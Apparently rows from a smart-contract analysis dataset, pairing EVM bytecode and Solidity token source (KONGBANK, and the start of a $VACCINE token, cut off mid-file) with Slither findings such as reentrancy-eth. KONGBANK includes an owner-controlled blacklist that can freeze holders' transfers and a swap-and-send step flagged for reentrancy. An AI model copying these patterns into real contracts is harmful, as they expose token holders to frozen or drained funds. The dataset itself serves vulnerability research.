919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113d2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561142957600080fd5b505afa15801561143d573d6000803e3d6000fd5b505050506040513d602081101561145357600080fd5b5051610e53565b600c5481565b6000600c5411801561147457506000600754115b156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb576005546000838152600b60205260408120600101549091906114bf904290611738565b111561150d576000838152600b6020526040902060028101546005546001909201546114ef92610b7f9190611783565b6000848152600b60205260409020600019600190910155905061152d565b6000838152600b602052604090206002015461152a904290611738565b90505b6000838152600b6020526040812042600282015560055490546115559190610bce90856117dd565b905060008093505b600a54841015611631576115ad600754610bce60086000600a898154811061158157fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117dd565b90506115ef8160096000600a88815481106115c457fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205490611783565b60096000600a878154811061160057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556001939093019261155d565b8461163e575050506106eb565b50506000199092019150611483565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116d95780601f106116ae576101008083540402835291602001916116d9565b820191906000526020600020905b8154815290600101906020018083116116bc57829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526117339084906118d8565b505050565b600061177a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a90565b90505b92915050565b60008282018381101561177a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117ec5750600061177d565b828202828482816117f957fe5b041461177a5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c5c6021913960400191505060405180910390fd5b600061177a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b27565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118d29085906118d8565b50505050565b6118ea826001600160a01b0316611b8c565b61193b576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119795780518252601f19909201916020918201910161195a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119db576040519150601f19603f3d011682016040523d82523d6000602084013e6119e0565b606091505b509150915081611a37576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118d257808060200190516020811015611a5357600080fd5b50516118d25760405162461bcd60e51b815260040180806020018281038252602a815260200180611c7d602a913960400191505060405180910390fd5b60008184841115611b1f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ae4578181015183820152602001611acc565b50505050905090810190601f168015611b115780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b765760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ae4578181015183820152602001611acc565b506000838581611b8257fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611bc05750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611c0957805160ff1916838001178555611c36565b82800160010185558215611c36579182015b82811115611c36578251825591602001919060010190611c1b565b50611c42929150611c46565b5090565b5b80821115611c425760008155600101611c4756fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212201f1a11f089d48d689004f915964437bf577053fe914770ed44ab1d03cc034b2b64736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,902 |
0xf81bbd0dc10b1882bcfc374ff393fde647a58d5f | // SPDX-License-Identifier: UNLICENSED
/*
.##....##..#######..##....##..######......########.....###....##....##.##....##
.##...##..##.....##.###...##.##....##.....##.....##...##.##...###...##.##...##.
.##..##...##.....##.####..##.##...........##.....##..##...##..####..##.##..##..
.#####....##.....##.##.##.##.##...####....########..##.....##.##.##.##.#####...
.##..##...##.....##.##..####.##....##.....##.....##.#########.##..####.##..##..
.##...##..##.....##.##...###.##....##.....##.....##.##.....##.##...###.##...##.
.##....##..#######..##....##..######......########..##.....##.##....##.##....##
https://t.me/KongBank
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KONGBANK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Kong Bank";
string private constant _symbol = "KONGBANK";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x3a34d51ba92101a8C650aD686122C2AeAAf454C5);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance.div(4);
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function initContract() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034a578063c3c8cd801461036a578063c9567bf91461037f578063dbe8272c14610394578063dc1052e2146103b4578063dd62ed3e146103d457600080fd5b8063715018a6146102a75780638203f5fe146102bc5780638da5cb5b146102d157806395d89b41146102f9578063a9059cbb1461032a57600080fd5b8063273123b7116100f2578063273123b714610216578063313ce5671461023657806346df33b7146102525780636fc3eaec1461027257806370a082311461028757600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae5780631bbae6e0146101d457806323b872dd146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820190915260098152684b6f6e672042616e6b60b81b60208201525b6040516101759190611951565b60405180910390f35b34801561018a57600080fd5b5061019e6101993660046117d8565b61041a565b6040519015158152602001610175565b3480156101ba57600080fd5b50683635c9adc5dea000005b604051908152602001610175565b3480156101e057600080fd5b506101f46101ef36600461190a565b610431565b005b34801561020257600080fd5b5061019e610211366004611797565b61047d565b34801561022257600080fd5b506101f4610231366004611724565b6104e6565b34801561024257600080fd5b5060405160098152602001610175565b34801561025e57600080fd5b506101f461026d3660046118d0565b610531565b34801561027e57600080fd5b506101f4610579565b34801561029357600080fd5b506101c66102a2366004611724565b6105ad565b3480156102b357600080fd5b506101f46105cf565b3480156102c857600080fd5b506101f4610643565b3480156102dd57600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561030557600080fd5b506040805180820190915260088152674b4f4e4742414e4b60c01b6020820152610168565b34801561033657600080fd5b5061019e6103453660046117d8565b610882565b34801561035657600080fd5b506101f4610365366004611804565b61088f565b34801561037657600080fd5b506101f4610925565b34801561038b57600080fd5b506101f4610965565b3480156103a057600080fd5b506101f46103af36600461190a565b610b2d565b3480156103c057600080fd5b506101f46103cf36600461190a565b610b65565b3480156103e057600080fd5b506101c66103ef36600461175e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610427338484610b9d565b5060015b92915050565b6000546001600160a01b031633146104645760405162461bcd60e51b815260040161045b906119a6565b60405180910390fd5b678ac7230489e8000081111561047a5760108190555b50565b600061048a848484610cc1565b6104dc84336104d785604051806060016040528060288152602001611b3d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff6565b610b9d565b5060019392505050565b6000546001600160a01b031633146105105760405162461bcd60e51b815260040161045b906119a6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055b5760405162461bcd60e51b815260040161045b906119a6565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161045b906119a6565b4761047a81611030565b6001600160a01b03811660009081526002602052604081205461042b9061106a565b6000546001600160a01b031633146105f95760405162461bcd60e51b815260040161045b906119a6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161045b906119a6565b600f54600160a01b900460ff16156106c75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075f9190611741565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a757600080fd5b505afa1580156107bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df9190611741565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085f9190611741565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610427338484610cc1565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161045b906119a6565b60005b8151811015610921576001600660008484815181106108dd576108dd611aed565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091981611abc565b9150506108bc565b5050565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161045b906119a6565b600061095a306105ad565b905061047a816110ee565b6000546001600160a01b0316331461098f5760405162461bcd60e51b815260040161045b906119a6565b600e546109b09030906001600160a01b0316683635c9adc5dea00000610b9d565b600e546001600160a01b031663f305d71947306109cc816105ad565b6000806109e16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4457600080fd5b505af1158015610a58573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7d9190611923565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047a91906118ed565b6000546001600160a01b03163314610b575760405162461bcd60e51b815260040161045b906119a6565b600c81101561047a57600b55565b6000546001600160a01b03163314610b8f5760405162461bcd60e51b815260040161045b906119a6565b600c81101561047a57600c55565b6001600160a01b038316610bff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610c605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610d875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b60008111610de95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b6001600160a01b03831660009081526006602052604090205460ff1615610e0f57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5157506001600160a01b03821660009081526005602052604090205460ff16155b15610fe6576000600955600c54600a55600f546001600160a01b038481169116148015610e8c5750600e546001600160a01b03838116911614155b8015610eb157506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec65750600f54600160b81b900460ff165b15610ef3576000610ed6836105ad565b601054909150610ee68383611277565b1115610ef157600080fd5b505b600f546001600160a01b038381169116148015610f1e5750600e546001600160a01b03848116911614155b8015610f4357506001600160a01b03831660009081526005602052604090205460ff16155b15610f54576000600955600b54600a555b6000610f5f306105ad565b600f54909150600160a81b900460ff16158015610f8a5750600f546001600160a01b03858116911614155b8015610f9f5750600f54600160b01b900460ff165b15610fe4576000610fb18260046112d6565b9050610fbd8183611aa5565b9150610fc881611318565b610fd1826110ee565b478015610fe157610fe147611030565b50505b505b610ff183838361134e565b505050565b6000818484111561101a5760405162461bcd60e51b815260040161045b9190611951565b5060006110278486611aa5565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610921573d6000803e3d6000fd5b60006007548211156110d15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045b565b60006110db611359565b90506110e783826112d6565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113657611136611aed565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118a57600080fd5b505afa15801561119e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c29190611741565b816001815181106111d5576111d5611aed565b6001600160a01b039283166020918202929092010152600e546111fb9130911684610b9d565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112349085906000908690309042906004016119db565b600060405180830381600087803b15801561124e57600080fd5b505af1158015611262573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112848385611a4c565b9050838110156110e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b60006110e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061137c565b600f805460ff60a81b1916600160a81b179055801561133e5761133e3061dead83610cc1565b50600f805460ff60a81b19169055565b610ff18383836113aa565b60008060006113666114a1565b909250905061137582826112d6565b9250505090565b6000818361139d5760405162461bcd60e51b815260040161045b9190611951565b5060006110278486611a64565b6000806000806000806113bc876114e3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ee9087611540565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461141d9086611277565b6001600160a01b03891660009081526002602052604090205561143f81611582565b61144984836115cc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148e91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006114bd82826112d6565b8210156114da57505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115008a600954600a546115f0565b9250925092506000611510611359565b905060008060006115238e878787611645565b919e509c509a509598509396509194505050505091939550919395565b60006110e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff6565b600061158c611359565b9050600061159a8383611695565b306000908152600260205260409020549091506115b79082611277565b30600090815260026020526040902055505050565b6007546115d99083611540565b6007556008546115e99082611277565b6008555050565b600080808061160a60646116048989611695565b906112d6565b9050600061161d60646116048a89611695565b905060006116358261162f8b86611540565b90611540565b9992985090965090945050505050565b60008080806116548886611695565b905060006116628887611695565b905060006116708888611695565b905060006116828261162f8686611540565b939b939a50919850919650505050505050565b6000826116a45750600061042b565b60006116b08385611a86565b9050826116bd8583611a64565b146110e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b803561171f81611b19565b919050565b60006020828403121561173657600080fd5b81356110e781611b19565b60006020828403121561175357600080fd5b81516110e781611b19565b6000806040838503121561177157600080fd5b823561177c81611b19565b9150602083013561178c81611b19565b809150509250929050565b6000806000606084860312156117ac57600080fd5b83356117b781611b19565b925060208401356117c781611b19565b929592945050506040919091013590565b600080604083850312156117eb57600080fd5b82356117f681611b19565b946020939093013593505050565b6000602080838503121561181757600080fd5b823567ffffffffffffffff8082111561182f57600080fd5b818501915085601f83011261184357600080fd5b81358181111561185557611855611b03565b8060051b604051601f19603f8301168101818110858211171561187a5761187a611b03565b604052828152858101935084860182860187018a101561189957600080fd5b600095505b838610156118c3576118af81611714565b85526001959095019493860193860161189e565b5098975050505050505050565b6000602082840312156118e257600080fd5b81356110e781611b2e565b6000602082840312156118ff57600080fd5b81516110e781611b2e565b60006020828403121561191c57600080fd5b5035919050565b60008060006060848603121561193857600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561197e57858101830151858201604001528201611962565b81811115611990576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2b5784516001600160a01b031683529383019391830191600101611a06565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a5f57611a5f611ad7565b500190565b600082611a8157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611aa057611aa0611ad7565b500290565b600082821015611ab757611ab7611ad7565b500390565b6000600019821415611ad057611ad0611ad7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047a57600080fd5b801515811461047a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e79ac6a96a90f5868b3148504ae3fc4314d15451d22bb3bfb48e79131455f6dc64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,903 |
0x45EDa411bD19772452679854FA9Bc10B4a87BD94 | /*
Community: https://t.me/anti_covidtoken
Save you and your family with $VACCINE
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
